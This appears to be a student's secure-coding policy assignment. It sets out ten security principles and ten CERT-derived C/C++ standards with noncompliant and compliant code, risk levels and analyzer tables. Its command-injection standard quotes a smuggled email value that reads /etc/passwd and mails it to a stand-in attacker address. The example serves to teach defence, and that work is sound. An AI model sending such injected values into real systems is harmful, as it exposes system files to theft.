**chGreen Pace Developer: Security Policy Guide Giovani Oddo**



# Green Pace Secure Development Policy

## Contents

[Overview 2](#_Toc52464053)

[Purpose 2](#_Toc52464054)

[Scope 2](#_Toc52464055)

[Module Three Milestone 2](#_Toc52464056)

[Ten Core Security Principles 2](#_Toc52464057)

[C/C++ Ten Coding Standards 3](#_Toc52464058)

[Coding Standard 1 4](#_Toc52464059)

[Coding Standard 2 5](#_Toc52464060)

[Coding Standard 3 6](#_Toc52464061)

[Coding Standard 4 7](#_Toc52464062)

[Coding Standard 5 8](#_Toc52464063)

[Coding Standard 6 9](#_Toc52464064)

[Coding Standard 7 10](#_Toc52464065)

[Coding Standard 8 11](#_Toc52464066)

[Coding Standard 9 13](#_Toc52464067)

[Coding Standard 10 14](#_Toc52464068)

[Defense-in-Depth Illustration 15](#_Toc52464069)

[Project One 15](#_Toc52464070)

[1. Revise the C/C++ Standards 15](#_Toc52464071)

[2. Risk Assessment 15](#_Toc52464072)

[3. Automated Detection 15](#_Toc52464073)

[4. Automation 15](#_Toc52464074)

[5. Summary of Risk Assessments 16](#_Toc52464075)

[6. Create Policies for Encryption and Triple A 16](#_Toc52464076)

[7. Map the Principles 17](#_Toc52464077)

[Audit Controls and Management 18](#_Toc52464078)

[Enforcement 18](#_Toc52464079)

[Exceptions Process 18](#_Toc52464080)

[Distribution 19](#_Toc52464081)

[Policy Change Control 19](#_Toc52464082)

[Policy Version History 19](#_Toc52464083)

[Appendix A Lookups 19](#_Toc52464084)

[Approved C/C++ Language Acronyms 19](#_Toc52464085)

## Overview

Software development at Green Pace requires consistent implementation of secure principles to all developed applications. Consistent approaches and methodologies must be maintained through all policies that are uniformly defined, implemented, governed, and maintained over time.

## Purpose

This policy defines the core security principles; C/C++ coding standards; authorization, authentication, and auditing standards; and data encryption standards. This article explains the differences between policy, standards, principles, and practices (guidelines and procedure): [Understanding the Hierarchy of Principles, Policies, Standards, Procedures, and Guidelines](https://www.linkedin.com/pulse/understanding-hierarchy-principles-policies-standards-wally-beddoe/).

## Scope

This document applies to all staff that create, deploy, or support custom software at Green Pace.

## Module Three Milestone

### Ten Core Security Principles

| **Principles** | Write a short paragraph explaining each of the 10 principles of security. |
| --- | --- |
| 1. ValidateInput Data | Validating all inputs means that inputs need to be sanitized and formatted properly to interact safely with a system, particularly from untrusted sources. Proper interaction is key to preventing vulnerabilities within a system such as gaining unauthorized access to private data or attacks on a system. |
| 1. Heed Compiler Warnings | Heed compiler warnings mean addressing any parts of source code that is flagged by the compiler as potentially problematic. When using the highest warning level available by a compiler, these warnings can point to sections that could cause bugs or be a security vulnerability. Using source code test analysis tools can aid with finding and eliminating security flaws. |
| 1. Architect and Design for Security Policies | When creating a system, build all the components, functionality, etc. by enforcing established security policy and best practices depending on the requirements of the system. This way, the system is built on up-to-date best practices and updated security policies to protect sensitive data. |
| 1. Keep It Simple | The design of a system should be as simple and minimal as possible to eliminate vulnerabilities caused by coding, misconfigurations or misuse within a complex system. A simple system is easier to understand and implement security mechanisms to retain a high level of assurance that the system is as secure as possible. |
| 1. Default Deny | Default deny means that access is denied unless the specified condition(s) for access is met. Thus, the protection comes from explicitly defined permission rather than checking for who is not allowed access. |
| 1. Adhere to the Principle of Least Privilege | Try to design processes that can be execute at the lowest level of access required. If any processes require an elevated level of access to execute, the time to approve or complete that process should be as short as possible to reduce the chance of attackers executing malicious code with higher level of permissions. |
| 1. Sanitize Data Sent to Other Systems | Before data is sent to another system, ensure the input is used within the context of the intended function. Unsanitized input can trigger unintended behavior in the receiving system, potentially bypassing security mechanisms and enabling attacks such as SQL or command injection. |
| 1. Practice Defense in Depth | This practice is implementing different security and defense strategies to protect sensitive data. This multilayered approach can ensure that access to sensitive data can still be prevented should one security mechanism fail. |
| 1. Use Effective Quality Assurance Techniques | Utilize best practice quality assurance techniques such as Fuzz testing, penetration testing, and source code audits within the team as well as, seek outside reviews to identify any other vulnerabilities missed by the team. A fresh look over a code base can help identify vulnerabilities especially if a parts of the source code is though to be secure based off invalid assumptions or understanding. |
| 1. Adopt a Secure Coding Standard | These are identified standards that are used by the developers to write secure code and reliable code in their selected language. This ensures that all developers are using the same practices to emphasize code security, understanding and maintainability throughout the system. |

### C/C++ Ten Coding Standards

Complete the coding standards portion of the template according to the Module Three milestone requirements. In Project One, follow the instructions to add a layer of security to the existing coding standards. Please start each standard on a new page, as they may take up more than one page. The first seven coding standards are labeled by category. The last three are blank so you may choose three additional standards. Be sure to label them by category and give them a sequential number for that category. Add compliant and noncompliant sections as needed to each coding standard.

#### Coding Standard 1

| **Coding Standard** | **Label** | **Ensure that unsigned integer operations do not wrap** |
| --- | --- | --- |
| **Data Type** | [STD-001-CPL] | Integer wrapping can cause buffer overflows and allow for arbitrary code execution by an attacker |

| **Noncompliant Code** |
| --- |
| This noncompliant code allows for unchecked arguments that could cause unsigned integer wrapping to occur when the two args are added together. |
| **void** func(unsigned **int** ui\_a, unsigned **int** ui\_b) {    unsigned **int** usum = ui\_a + ui\_b;    /\* ... \*/  } |

| **Compliant Code** |
| --- |
| This compliant code checks that the integers are not exceeding the maximum unsigned value allowed before being added together. Therefore, preventing wrapping. |
| #include <limits.h>    **void** func(unsigned **int** ui\_a, unsigned **int** ui\_b) {    unsigned **int** usum;  **if** (UINT\_MAX - ui\_a < ui\_b) {      /\* Handle error \*/    } **else** {      usum = ui\_a + ui\_b;    }    /\* ... \*/  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  2. Heed Compiler Warnings.  10. Adopt a Secure Coding Standard.  By using heeding IDE warnings or static test warnings of buffer over/under flow errors, and applying a secure coding standard can prevent unintentional wrapping. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | likely | high | **Medium** | **L2** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 24.04 | Integer-overflow | Fully checked |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | 2017.07 | **INTEGER\_OVERFLOW** | Implemented |
| CodeSonar | 9.0p0 | **ALLOC.SIZE.ADDOFLOW ALLOC.SIZE.IOFLOW ALLOC.SIZE.MULOFLOW ALLOC.SIZE.SUBUFLOW MISC.MEM.SIZE.ADDOFLOW MISC.MEM.SIZE.BAD MISC.MEM.SIZE.MULOFLOW MISC.MEM.SIZE.SUBUFLOW** | Addition overflow of allocation size Integer overflow of allocation size Multiplication overflow of allocation size Subtraction underflow of allocation size Addition overflow of size Unreasonable size argument Multiplication overflow of size Subtraction underflow of size |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2024.2 | **CERT\_C-INT30-a CERT\_C-INT30-b CERT\_C-INT30-c** | Avoid wraparounds when performing arithmetic integer operations Integer overflow or underflow in constant expression in '+', '-', '\*' operator Integer overflow or underflow in constant expression in '<<' operator |

#### Coding Standard 2

| **Coding Standard** | **Label** | **Ensure that integer conversions do not result in lost or misinterpreted data** |
| --- | --- | --- |
| **Data Value** | [STD-002 -CPL] | Losing or misinterpreting data due to integer conversions can result in buffer overflow and underflow which can allow for an attacker to execute malicious code. Integer type conversion WILL be conversion of an integral value to a wider type of the same sign to ensure safety for all data values. |

| **Noncompliant Code** |
| --- |
| This noncompliant code attempts to convert an unsigned long int to a signed char which results in a truncation error. |
| #include <limits.h>    **void** func(**void**) {    unsigned **long** **int** u\_a = ULONG\_MAX;  **signed** **char** sc;    sc = (**signed** **char**)u\_a; /\* Cast eliminates warning \*/    /\* ... \*/  } |

| **Compliant Code** |
| --- |
| The compliant code example checks the range when converting from an unsigned type to a signed type. If the range is out of limits it will handle the error. |
| #include <limits.h>    **void** func(**void**) {    unsigned **long** **int** u\_a = ULONG\_MAX;  **signed** **char** sc;  **if** (u\_a <= SCHAR\_MAX) {      sc = (**signed** **char**)u\_a;  /\* Cast eliminates warning \*/    } **else** {      /\* Handle error \*/    }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  1. Validate Input Data  2. Heed Compiler Warning  10. Adopt a Secure Coding Standard  Principle 1 will ensure that data is converted safely and handle any errors that may present. Number 2 will aid the developer with catching preventable errors and number 10 will guide developers to use standard coding practices to securely program a system. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Probably | High | Medium | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 9.0p0 | **LANG.CAST.PC.AV LANG.CAST.PC.CONST2PTR LANG.CAST.PC.INT**  **LANG.CAST.COERCE LANG.CAST.VALUE**  **ALLOC.SIZE.TRUNC MISC.MEM.SIZE.TRUNC**  **LANG.MEM.TBA** | Cast: arithmetic type/void pointer Conversion: integer constant to pointer Conversion: pointer/integer  Coercion alters value Cast alters value  Truncation of allocation size Truncation of size  Tainted buffer access |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024b | [CERT C: Rule INT31-C](https://www.mathworks.com/help/bugfinder/ref/certcruleint31c.html) | Checks for:   * Integer conversion overflow * Call to memset with unintended value * Sign change integer conversion overflow * Tainted sign change conversion * Unsigned integer conversion overflow   Rule partially covered |
| [TrustInSoft Analyzer](https://wiki.sei.cmu.edu/confluence/display/c/TrustInSoft+Analyzer) | 1.38 | **signed\_downcast** | Exhaustively verified. |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity)\* | 2017.07 | **NEGATIVE\_RETURNS**  **REVERSE\_NEGATIVE**  **MISRA\_CAST** | Can find array accesses, loop bounds, and other expressions that may contain dangerous implied integer conversions that would result in unexpected behavior  Can find instances where a negativity check occurs after the negative value has been used for something else  Can find instances where an integer expression is implicitly converted to a narrower integer type, where the signedness of an integer value is implicitly converted, or where the type of a complex expression is implicitly converted |

#### Coding Standard 3

| **Coding Standard** | **Label** | **Do not attempt to create a std::string from a null pointer** |
| --- | --- | --- |
| **String Correctness** | [STD-003-CPP] | A common method used on the std::string is the length() method. This method is used to determine the number of characters in a null-terminating string. If a null pointer is passed, the program will likely encounter abnormal program termination or other undefined behavior. This can cause execution of arbitrary code in systems that can be exploited by way of dereferencing a null pointer. |

| **Noncompliant Code** |
| --- |
| This noncompliant code creats a string object by calling std::getenv() but returns a null pointer. |
| #include <cstdlib>  #include <string>    **void** f() {    std::string tmp(std::**getenv**("TMP"));  **if** (!tmp.empty()) {      // ...    }  } |

| **Compliant Code** |
| --- |
| This compliant example checks for a null result before constructing the string object. |
| #include <cstdlib>  #include <string>    **void** f() {  **const** **char** \*tmpPtrVal = std::**getenv**("TMP");    std::string tmp(tmpPtrVal ? tmpPtrVal : "");  **if** (!tmp.empty()) {      // ...    }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  1. Validate Input Data  4. Keep it simple  Principle 1 will guide developers to utilize proper testing and checking outputs before being used by functions. Keeping code as simple as possible makes documentation, understanding, and readability to those unfamiliar with the system easier. |
| --- |

**Threat Level \*for cases where dereferencing a null pointer to execute arbitrary code is possible**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | High | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 9.0p0 | **LANG.MEM.NPD** | Null Pointer Dereference |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2024.2 | **CERT\_CPP-STR51-a** | Avoid null pointer dereferencing |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024b | [CERT C++: STR51-CPP](https://www.mathworks.com/help/bugfinder/ref/certcstr51cpp.html) | Checks for string operations on null pointer (rule partially covered). |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | **assert\_failure** | N/A |

#### Coding Standard 4

| **Coding Standard** | **Label** | **Sanitize data passed to complex subsystems** |
| --- | --- | --- |
| **SQL Injection** | [STD-004 -CPL] | Input data from untrusted sources can be formatted with special characters to escape the normal functions of a system and trigger commands or actions that result in software vulnerabilities. Sanitizing all input data is necessary so that all parts of the input are passed together thus not allowing special characters to escape normal functionality. |

| **Noncompliant Code** |
| --- |
| This noncompliant code accepts the input without checking for special characters to enable the rest of the input to run as a command on the system() call. |
| **sprintf**(buffer, "/bin/mail %s < /tmp/email", addr);  **system**(buffer);  untrusted source enters the following string as their email:  bogus@addr.com; cat /etc/passwd  | mail some@badguy.net |

| **Compliant Code** |
| --- |
| The example allows for only characters specified in ok\_char[] array to pass as input, this approach is called whitelisting. This approach will only pass characters while removing all other characters that are not allowed. |
| **static** **char** ok\_chars[] = "abcdefghijklmnopqrstuvwxyz"                           "ABCDEFGHIJKLMNOPQRSTUVWXYZ"                           "1234567890\_-.@";  **char** user\_data[] = "Bad char 1:} Bad char 2:{";  **char** \*cp = user\_data; /\* Cursor into string \*/  **const** **char** \*end = user\_data + **strlen**( user\_data);  **for** (cp += **strspn**(cp, ok\_chars); cp != end; cp += **strspn**(cp, ok\_chars)) {    \*cp = '\_';  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  1. Validate Input Data  3. Architect and Design for Security Policies 7. Sanitize Data Sent to Other Systems  Validating input data passing sanitized data before being processed by another system. Utilizing design for security policies enforces input sanitation on developers and sanitizing data hopefully prevents vulnerabilities or unauthorized access. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | High | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 9.0p0 | **IO.INJ.COMMAND IO.INJ.FMT IO.INJ.LDAP IO.INJ.LIB IO.INJ.SQL IO.UT.LIB IO.UT.PROC** | Command injection Format string injection LDAP injection Library injection SQL injection Untrusted Library Load Untrusted Process Creation |
| Coverity | 6.5 | TAINTED\_STRING | Fully implemented |
| Parasoft C/C++test | 2024.2 | **CERT\_C-STR02-a** **CERT\_C-STR02-b** **CERT\_C-STR02-c** | Protect against command injection Protect against file name injection Protect against SQL injection |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024b | [CERT C: Rec. STR02-C](https://www.mathworks.com/help/bugfinder/ref/certcrec.str02c.html) | Checks for:   * Execution of externally controlled command * Command executed from externally controlled path * Library loaded from externally controlled path   Rec. partially covered. |

#### Coding Standard 5

| **Coding Standard** | **Label** | **Detect and handle memory allocation errors** |
| --- | --- | --- |
| **Memory Protection** | [STD-005 -CPP] | Detecting and handling memory allocation errors can prevent program crashes, Denial of Service attacks, and other undefined behavior by implementing proper error handling in the even that the system is running low on resources, excessive memory is requested, or does not check the results when memory allocation fails. |

| **Noncompliant Code** |
| --- |
| This example shows code that does not utilize the std::nothrow when creating the new array which can throw std::bad\_alloc exception if allocation fails. This can result in abnormal termination of the program or other undefined behavior. |
| #include <cstring>    **void** f(**const** **int** \*array, std::**size\_t** size) noexcept {  **int** \*copy = **new** **int**[size];    std::**memcpy**(copy, array, size \* **sizeof**(\*copy));    // ...  **delete** [] copy;  } |

| **Compliant Code** |
| --- |
| The compliant code usesd std::nothrow to avoid std::bad\_alloc exception and will either return a null pointer or a pointer to the allocated space. Here, a check for NULLPTR is present and will handle the error if memory is not allocated. |
| #include <cstring>  #include <new>    **void** f(**const** **int** \*array, std::**size\_t** size) noexcept {  **int** \*copy = **new** (std::**nothrow**) **int**[size];  **if** (!copy) {       // Handle error  **return**;     }     std::**memcpy**(copy, array, size \* **sizeof**(\*copy));     // ...  **delete** [] copy;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  9. Use Effective Quality Assurance Techniques 10. Adopt a Secure Coding Standard  Principle 9 aids developers with utilizing tools to help find and provide solutions to allocation failures. Principle 10 outlines which solutions to implement to prevent memory errors. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | High | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Coverity) | 7.5 | **CHECKED\_RETURN** | Finds inconsistencies in how function call return values are handled |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | **45 D** | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2024.2 | **CERT\_CPP-MEM52-a** **CERT\_CPP-MEM52-b** | Check the return value of new Do not allocate resources in function argument list because the order of evaluation of a function's parameters is undefined |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024b | [CERT C++: MEM52-CPP](https://www.mathworks.com/help/bugfinder/ref/certcmem52cpp.html) | Checks for unprotected dynamic memory allocation (rule partially covered) |

#### Coding Standard 6

| **Coding Standard** | **Label** | **Understand the termination behavior of assert() and abort()** |
| --- | --- | --- |
| **Assertions** | [STD-006-CPP] | Assertions are a great tool for debugging and checking that code logic is working as intended. Understanding how assert() works is important to avoid abnormal termination of a program. If a developer wants to implement a cleanup function when an assert() fails, the assert will immediately call abort() causing abnormal termination of the program. This macro prevents the use of the cleanup function passed through an atexit() call. The unsafe use of abort() can leave files written in an inconsistent state or leave sensitive temporary files within the file system. |

| **Noncompliant Code** |
| --- |
| This noncompliant example shows improper use of assert(). This use case will cause the program to abnormally terminate if the assert fails, bypassing the use of the cleanup() function. |
| **void** cleanup(**void**) {    /\* Delete temporary files, restore consistent state, etc. \*/  }    **int** main(**void**) {  **if** (**atexit**(cleanup) != 0) {      /\* Handle error \*/    }      /\* ... \*/    **assert**(/\* Something bad didn't happen \*/);      /\* ... \*/  } |

| **Compliant Code** |
| --- |
| This example checks if a problem occurs and calls the exit() function instead of using assert(). This allows for the program to use the cleanup() function to terminate safely |
| **void** cleanup(**void**) {    /\* Delete temporary files, restore consistent state, etc. \*/  }    **int** main(**void**) {  **if** (**atexit**(cleanup) != 0) {      /\* Handle error \*/    }      /\* ... \*/    **if** (/\* Something bad happened \*/) {  **exit**(EXIT\_FAILURE);    }      /\* ... \*/  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  3. Architect and Design for Security Policies 4. Keep It Simple 8. Practice Defense in Depth  Principle 3 gives development teams examples of how to appropriately use proper exit functions. Principle 4 keeps complexity to a minimum when using unknown or new macros to a developer. Principle 8 can allow developers to implement multiple ways to exit a program gracefully should they encounter and unsafe exit. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Unlikely | Medium | **low** | **L3** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 24.04 | **bad-function bad-macro-use** | Supported |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **44 S** | Enhanced enforcement |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2024.2 | CERT\_C-ERR06-a | Do not use assertions |
| [PC-lint Plus](https://wiki.sei.cmu.edu/confluence/display/c/PC-lint+Plus) | 1.4 | **586** | Fully supported |

#### Coding Standard 7

| **Coding Standard** | **Label** | **Handle all exceptions** |
| --- | --- | --- |
| **Exceptions** | [STD-007 -CPP] | Improper handling of exceptions can cause applications to terminate abnormally. This can cause resources to not be freed or closed properly. Abnormal termination of applications is a frequent vector to induce denial of service (DoS) attacks. |

| **Noncompliant Code** |
| --- |
| This example does not implement matching handlers in the f() or main() functions with the throwing\_func(). This will cause the exception thrown to use std::terminate() to unsafely close the program. |
| **void** throwing\_func() noexcept(**false**);    **void** f() {    throwing\_func();  }    **int** main() {    f();  } |

| **Compliant Code** |
| --- |
| Here the exceptions are handled in the try block of the main() function. This will allow the call stack to unwind properly and safely terminate. |
| **void** throwing\_func() noexcept(**false**);    **void** f() {    throwing\_func();  }    **int** main() {  **try** {      f();    } **catch** (...) {      // Handle error    }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |  |
| --- | --- |
| **Principles(s):**   |  | | --- | | 3. Architect and Design for Security Policies 8. Practice Defense in Depth |   Principle 3 gives developers a way to design functions or components with security in mind that relates to what that feature is doing. Principle 8 reminds developers to think of as many edge cases as possible and handle all errors gracefully. |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Probable | Medium | low | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | **main-function-catch-all early-catch-all** | Partially checked |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 9.0p0 | **LANG.STRUCT.UCTCH** | Unreachable Catch |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | **527 S** | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2024.2 | **CERT\_CPP-ERR51-a** **CERT\_CPP-ERR51-b** | Always catch exceptions Each exception explicitly thrown in the code shall have a handler of a compatible type in all call paths that could lead to that point |

#### Coding Standard 8

| **Coding Standard** | **Label** | **Properly deallocate dynamically allocated resources** |
| --- | --- | --- |
| **Memory Management** | [STD-008 -CPP] | Managing memory is an important part of any C based language and can cause vulnerabilities within a system if not allocated, reallocated, or deleted properly. |

| **Noncompliant Code** |
| --- |
| In this example, the incorrect use of scalar pairs for allocating and deallocating the array causes undefined behavior. new[] should be paired with delete[], new with delete, and malloc() with free(). |
| **void** f() {  **int** \*array = **new** **int**[10];    // ...  **delete** array;  } |

| **Compliant Code** |
| --- |
| In this compliant example, the array is allocated and deleted using the matching scalar pairs. |
| **void** f() {  **int** \*array = **new** **int**[10];    // ...  **delete**[] array;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  5. Default Deny 10. Adopt a Secure Coding Standard  Principle 5 directs developers to default deny users when memory is not freed properly which ensures that no unintended behavior results when memory is deallocated improperly. Principle 10 defines which scalar pairs to use when using within a function. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | High | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024b | [CERT C++: MEM51-CPP](https://www.mathworks.com/help/bugfinder/ref/certcmem51cpp.html) | Checks for:   * Invalid deletion of pointer * Invalid free of pointer * Deallocation of previously deallocated pointer   Rule partially covered. |
| [Clang](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Clang) | 3.9 | clang-analyzer-cplusplus.NewDeleteLeaks -Wmismatched-new-delete clang-analyzer-unix.MismatchedDeallocator | Checked by clang-tidy, but does not catch all violations of this rule |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 9.0p0 | **ALLOC.DF ALLOC.TM ALLOC.LEAK** | Double free Type mismatch Leak |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | **232 S, 236 S, 239 S, 407 S, 469 S, 470 S, 483 S, 484 S, 485 S, 64 D, 112 D** | Partially implemented |

#### Coding Standard 9

| **Coding Standard** | **Label** | **Do not dereference null pointers** |
| --- | --- | --- |
| **Expressions** | [STD-009-CPL] | Dereferencing null pointers is an undefined behavior which is typically abnormal program termination. Systems where it is possible to achieve this error can enable attackers to execute arbitrary code into on the system. |

| **Noncompliant Code** |
| --- |
| The error in this noncompliant is that malloc() is not checked for failure which can result in a return of NULL which causes the memcpy() call to dereference c\_str resulting in undefined behavior. |
| #include <string.h>  #include <stdlib.h>    **void** f(**const** **char** \*input\_str) {  **size\_t** size = **strlen**(input\_str) + 1;  **char** \*c\_str = (**char** \*)**malloc**(size);  **memcpy**(c\_str, input\_str, size);    /\* ... \*/  **free**(c\_str);    c\_str = NULL;    /\* ... \*/  } |

| **Compliant Code** |
| --- |
| This compliant example properly checks that all pointers returned by malloc() are not NULL handles errors should malloc() fail. |
| #include <string.h>  #include <stdlib.h>    **void** f(**const** **char** \*input\_str) {  **size\_t** size;  **char** \*c\_str;    **if** (NULL == input\_str) {      /\* Handle error \*/    }      size = **strlen**(input\_str) + 1;    c\_str = (**char** \*)**malloc**(size);  **if** (NULL == c\_str) {      /\* Handle error \*/    }  **memcpy**(c\_str, input\_str, size);    /\* ... \*/  **free**(c\_str);    c\_str = NULL;    /\* ... \*/  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  1. Validate Input Data 9. Use Effective Quality Assurance Techniques  Principle 1 reminds developers that critical input checks must be used before dereferencing. Principle 9 offers tools that developers can use to effectively test and QA their code to ensure data and system safety. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | High | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 24.04 | **null-dereferencing** | Fully checked |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 9.0p0 | **LANG.MEM.NPD LANG.STRUCT.NTAD LANG.STRUCT.UPD** | Null pointer dereference Null test after dereference Unchecked parameter dereference |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/c/Helix+QAC) | 2024.4 | **DF2810, DF2811, DF2812, DF2813** | Fully implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2024.2 | **CERT\_C-EXP34-a** | Avoid null pointer dereferencing |

#### Coding Standard 10

| **Coding Standard** | **Label** | **Do not abruptly terminate the program** |
| --- | --- | --- |
| Exceptions and Error Handling | [STD-010 -CPP] | Abruptly terminating a program using abort(), quick\_exit(), or \_Exit() close without calling exit handlers registered with atexit() to free resources, close resources, etc. Explicitly or implicitly calling these function calls do not allow the program to unwind the call stack unless defined by implementation to unwind completely, partially or not at all. |

| **Noncompliant Code** |
| --- |
| This example can cause std::terminate to execute since there is no exception handler implemented. Without defined exception handlers, when atexit(f) is called at runtime, an error could be thrown causing abnormal termination. |
| #include <cstdlib>    **void** throwing\_func() noexcept(**false**);    **void** f() { // Not invoked by the program except as an exit handler.    throwing\_func();  }    **int** main() {  **if** (0 != std::**atexit**(f)) {      // Handle error    }    // ...  } |

| **Compliant Code** |
| --- |
| In this example, all exceptions thrown by throwing\_func() will be defined within the f() function which will allow the program to safely terminate. |
| #include <cstdlib>    **void** throwing\_func() noexcept(**false**);    **void** f() { // Not invoked by the program except as an exit handler.  **try** {      throwing\_func();    } **catch** (...) {      // Handle error    }  }    **int** main() {  **if** (0 != std::**atexit**(f)) {      // Handle error    }    // ...  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  3. Architect and Design for Security Policies  4. Keep It Simple 8. Practice Defense in Depth  Principle 3 outlines how and when developers should use exit functions when handling errors. Principle 4 is a reminder to not over complicate control flow when handling exit procedures. Principle 8 allows developers to implement layered checks when handling errors to avoid unsafe exists due to unpredicted behavior. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Probable | Medium | Low | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 9.0p0 | **BADFUNC.ABORT BADFUNC.EXIT** | Use of abort Use of exit |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | **122 S** | Enhanced Enforcement |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024b | [CERT C++: ERR50-CPP](https://www.mathworks.com/help/bugfinder/ref/certcerr50cpp.html) | Checks for implicit call to terminate() function (rule partially covered) |
| [RuleChecker](https://wiki.sei.cmu.edu/confluence/display/cplusplus/RuleChecker) | 22.10 | **stdlib-use** | Partially checked |

References:

**Software Engineering Institute. (n.d.).** *MSC62-C. Sanitize data passed to complex subsystems*. SEI CERT C Coding Standard. Carnegie Mellon University. Retrieved March 23, 2025, from <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88046682>

### Defense-in-Depth Illustration

This illustration provides a visual representation of the defense-in-depth best practice of layered security.



## Project One

